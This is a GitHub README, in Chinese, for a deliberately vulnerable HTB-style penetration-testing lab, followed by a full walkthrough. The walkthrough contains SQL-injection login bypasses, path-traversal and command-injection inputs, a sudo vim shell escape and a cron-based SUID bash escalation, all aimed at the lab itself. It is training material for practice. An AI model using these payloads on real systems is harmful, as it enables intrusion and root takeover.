Mayu-Solirius/gradportal-lab
GitHub: Mayu-Solirius/gradportal-lab
一台基于 Docker 的 HTB 风格初级渗透测试训练靶机,涵盖 Web 漏洞利用、SSH 访问与 Linux 提权的完整攻击链练习。
Stars: 0 | Forks: 0
# GradPortal — HTB 风格初级训练机器
## 构建与运行
```
docker compose up --build
```
| 主机端口 | 服务 |
|-----------|---------|
| 8080 | Web 应用程序 (HTTP) |
| 2222 | SSH |
通过 `http://localhost:8080` 访问 Web 应用。
SSH:`ssh developer@localhost -p 2222`
停止并清理:
```
docker compose down
```
## 学习目标
- 使用 `nmap` 进行端口和服务枚举
- 使用 `gobuster` / `feroxbuster` 进行 Web 目录枚举
- 读取并利用 `robots.txt`
- 识别并利用 SQL injection(登录绕过)
- 从 Web 应用程序输出中发现凭证
- 使用发现的凭证进行 SSH 访问
- 通过配置不当的 `sudo` 规则进行 Linux 权限提升
## 无剧透提示
1. **枚举就是一切。** 从全端口扫描开始。
2. **并非所有有用的页面都是从主页链接的。** 仔细寻找。
3. **开发者有时会留下笔记。** 检查标准的元数据文件。
4. **登录表单的安全性仅等同于其查询的安全性。**
5. **获取 shell 后,务必检查用户可以运行的内容。**
## 完整演练
```
预期的开放端口:
- `22/tcp` — OpenSSH
- `80/tcp` — HTTP (Flask)
### 2. Web 枚举
访问主页。没有可见的登录链接。
检查 `robots.txt`:
```
http://localhost:8080/robots.txt
```
泄露的禁止访问路径:
- `/admin_login`
- `/dev_notes`
- `/backup.zip`
运行目录扫描以确认:
```
gobuster dir -u http://localhost:8080/ -w /usr/share/wordlists/dirb/common.txt
```
### 3. SQL Injection — 登录绕过
导航到 `http://localhost:8080/admin_login`。
使用以下任一 payload 作为用户名(密码任意):
```
admin' --
```
或
```
' OR '1'='1' --
```
你将被重定向到 `/admin`。
### 4. 发现凭证
管理仪表板显示:
```
Username: developer
Password: Summer2026!
```
### 5. SSH 访问与 User Flag
```
ssh developer@localhost -p 2222
# 密码: Summer2026!
cat /home/developer/user.txt
# HTB{easy_user_flag_gradportal}
```
### 6. 权限提升
检查 sudo 权限:
```
sudo -l
# (root) NOPASSWD: /usr/bin/vim
```
通过 GTFOBins 提权:
```
sudo vim
# 在 vim 内:
:!/bin/bash
```
### 7. Root Flag
```
cat /root/root.txt
# HTB{easy_root_flag_gradportal}
```
### 可选路径
**路径遍历 / LFI:**
```
http://localhost:8080/view?file=../../app/.env
http://localhost:8080/view?file=../../etc/passwd
```
**备份归档(备选凭证发现):**
```
wget http://localhost:8080/backup.zip
unzip backup.zip
cat .env
```
**暴露的 .git 历史:**
```
wget -r http://localhost:8080/.git/
git log --all --oneline
git show HEAD~1
```
**命令注入(admin/diagnostics):**
```
127.0.0.1; id
127.0.0.1; whoami
```
**二次提权 — env 文件中的 root 密码:**
```
find / -name "*.env" 2>/dev/null
cat /etc/gradportal/.env
su -
# 密码: RootMePlease2026!
```
**二次提权 — 可写的 cron 脚本:**
```
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /usr/local/bin/backup.sh
# 等待约 1 分钟
/tmp/rootbash -p
```
## 清理
```
docker compose down --rmi all --volumes
```
⚠️ 剧透 — 点击展开
### 1. 端口扫描 ``` nmap -sC -sV -p-标签:CISA项目, Docker, Web安全, 协议分析, 后端开发, 安全防御评估, 安全靶场, 权限提升, 渗透测试训练, 版权保护, 蓝队分析, 请求拦截, 逆向工具